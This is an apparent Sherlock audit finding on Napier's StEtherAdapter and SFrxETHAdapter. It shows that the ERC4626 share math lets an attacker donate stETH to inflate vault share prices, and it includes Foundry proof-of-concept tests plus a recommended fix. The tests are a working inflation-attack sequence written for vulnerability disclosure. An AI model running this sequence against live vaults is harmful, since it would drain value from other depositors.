Uneven Coffee Griffin

high

# Concrete implementations of `BaseLPTAdapter` are susceptible to vault inflation attacks.

## Summary

It is possible for malicious users to inflate the price of vault shares for concrete implementations of [`BaseLPTAdapter`](https://github.com/sherlock-audit/2024-01-napier/blob/main/napier-v1/src/adapters/BaseLSTAdapter.sol) such as the [`StEtherAdapter`](https://github.com/sherlock-audit/2024-01-napier/blob/main/napier-v1/src/adapters/lido/StEtherAdapter.sol) and the [`SFrxETHAdapter.sol`](https://github.com/sherlock-audit/2024-01-napier/blob/main/napier-v1/src/adapters/frax/SFrxETHAdapter.sol).

## Vulnerability Detail

When the [`BaseLPTAdapter`](https://github.com/sherlock-audit/2024-01-napier/blob/main/napier-v1/src/adapters/BaseLSTAdapter.sol) mints shares, the following calculation is used to determine how many shares to mint on behalf of the caller:

```solidity
uint256 assets = IWETH9(WETH).balanceOf(address(this)) - bufferEthCache;
uint256 shares = previewDeposit(assets);
```

Drilling down, the [`previewDeposit(uint256)`](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/141c947921cc5d23ee1d247c691a8b85cabbbd5d/contracts/token/ERC20/extensions/ERC4626.sol#L151) relies on the following calculation:

```solidity
/**
 * @dev Internal conversion function (from assets to shares) with support for rounding direction.
 */
function _convertToShares(uint256 assets, Math.Rounding rounding) internal view virtual returns (uint256) {
    return assets.mulDiv(totalSupply() + 10 ** _decimalsOffset(), totalAssets() + 1, rounding);
}
```

In Napier, [`_decimalsOffset()`](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/141c947921cc5d23ee1d247c691a8b85cabbbd5d/contracts/token/ERC20/extensions/ERC4626.sol#L279) has not been overridden, and it returns by default `0`. A brief reminder of the following `totalAssets()` formulas:

### ðŸ“„ [StEtherAdapter.sol](https://github.com/sherlock-audit/2024-01-napier/blob/6313f34110b0d12677b389f0ecb3197038211e12/napier-v1/src/adapters/lido/StEtherAdapter.sol#L114)

```solidity
function totalAssets() public view override returns (uint256) {
    uint256 stEthBalance = STETH.balanceOf(address(this));
    return withdrawalQueueEth + bufferEth + stEthBalance;
}
```

### ðŸ“„ [SFrxETHAdapter.sol](https://github.com/sherlock-audit/2024-01-napier/blob/6313f34110b0d12677b389f0ecb3197038211e12/napier-v1/src/adapters/frax/SFrxETHAdapter.sol#L115)

```solidity
function totalAssets() public view override returns (uint256) {
    uint256 balance = STAKED_FRXETH.balanceOf(address(this));
    uint256 balanceInFrxEth = STAKED_FRXETH.convertToAssets(balance);
    return withdrawalQueueEth + bufferEth + balanceInFrxEth; // 1 frxEth = 1 ETH
}
```

These implementations of `totalAssets()` demonstrate that the calculations are susceptible to donations of the yield-bearing [`target`](https://github.com/sherlock-audit/2024-01-napier/blob/6313f34110b0d12677b389f0ecb3197038211e12/napier-v1/src/interfaces/IBaseAdapter.sol#L40) asset.

### ðŸ“„ [test/integration/lido/Tranche.t.sol](https://github.com/sherlock-audit/2024-01-napier/blob/main/napier-v1/test/integration/lido/Tranche.t.sol)

Let's briefly prove that vault shares can indeed be inflated:

```solidity
function testInflateVaultShares() public {

   adapter = new StEtherAdapter(address(1));

    vm.prank(address(1));
        StEtherAdapter(payable(address(adapter))).setTargetBufferPercentage(1 ether);

    address dave = address(0x69);

    deal(address(underlying), charlie, 100 * MAX_UNDERLYING_DEPOSIT, false);
    deal(address(underlying), dave, 100 * MAX_UNDERLYING_DEPOSIT, false);

    vm.startPrank(charlie);
        underlying.transfer(address(adapter), 1);
        adapter.prefundedDeposit();
    vm.stopPrank();

    assertEq(StEtherAdapter(payable(address(adapter))).balanceOf(charlie), 1);

    /// @dev Here we inflate the vault assets. For convenience we are
    /// using the `whale` address to make deposit.
    vm.prank(whale);
        IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84).transfer(address(adapter), 1e18);

    vm.startPrank(dave);
        underlying.transfer(address(adapter), 1e18);
        adapter.prefundedDeposit();
    vm.stopPrank();

    /// @notice `dave` only receives a single share for their
    /// deposit of 1e18 underlying.
    assertEq(StEtherAdapter(payable(address(adapter))).balanceOf(dave), 1);

}
```

This leads to an amplified [`scale()`](https://github.com/sherlock-audit/2024-01-napier/blob/6313f34110b0d12677b389f0ecb3197038211e12/napier-v1/src/adapters/BaseLSTAdapter.sol#L232) value combined with relatively small shares, which conspires against the current logical assumptions.

The sequence below demonstrates that when we fast-forward to `maturity`, the combination of illiquid shares with rounding down against the redeemer of the shares results in the failure to redeem principle tokens, rendering them worthless:

```solidity
 /// @param performInflationAttack Whether to inflate the vault.
function testFuzz_InflateVaultShares(bool performInflationAttack) public {

    vm.prank(rebalancer);
        StEtherAdapter(payable(address(adapter))).setTargetBufferPercentage(1 ether);

    deal(address(underlying), charlie, 100 * MAX_UNDERLYING_DEPOSIT, false);

    if (performInflationAttack) {

        vm.startPrank(charlie);
        underlying.transfer(address(adapter), 1);
        adapter.prefundedDeposit();
        vm.stopPrank();

        assertEq(StEtherAdapter(payable(address(adapter))).balanceOf(charlie), 1);

        /// @dev Here we inflate the vault assets. For convenience we are
        /// using the `whale` address to make deposit.
        vm.prank(whale);
            IERC20(0xae7ab96520DE3A18E5e111B5EaAb095312D7fE84).transfer(address(adapter), 1e18);
    }

    address emma = address(0x1559);

    deal(address(underlying), emma, 100 * MAX_UNDERLYING_DEPOSIT, false);

    vm.startPrank(emma);
        IERC20(address(underlying)).approve(address(tranche), type(uint256).max);
        tranche.issue(address(emma), 1e18);
        assertEq(tranche.balanceOf(emma), performInflationAttack ? 500000000000000000 : 1000000000000000000);
    vm.stopPrank();

    // Let's skip to maturity.
    vm.warp(tranche.maturity());

    /// @dev When we perform the inflation attack, emma's
    /// shares expire worthless.
    assertEq(tranche.previewRedeem(tranche.balanceOf(emma)), performInflationAttack ? 0 : 1000000000000000000);

}
```

Further still, it can be proven that the vault undergoing a share inflation attack combined with non-zero [`issuanceFees`](https://github.com/sherlock-audit/2024-01-napier/blob/6313f34110b0d12677b389f0ecb3197038211e12/napier-v1/src/Tranche.sol#L92), can result in stakers receiving zero yield stripping tokens in exchange for their deposits due to rounding in favour of the protocol.

## Impact

It is economically concievable for attackers to force principle tokens to expire worthless at maturity.

## Code Snippet

```solidity
function _decimalsOffset() internal view virtual returns (uint8) {
    return 0;
}
```

## Tool used

Foundry, Chisel

## Recommendation

It is recommended to override [`_decimalsOffset()`](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/141c947921cc5d23ee1d247c691a8b85cabbbd5d/contracts/token/ERC20/extensions/ERC4626.sol#L279) with a higher value to decrease the feasibility of economic attacks. Using a greater value will radically diminish the both the economic incentive and influence of a single staker's malicious donation to the pool.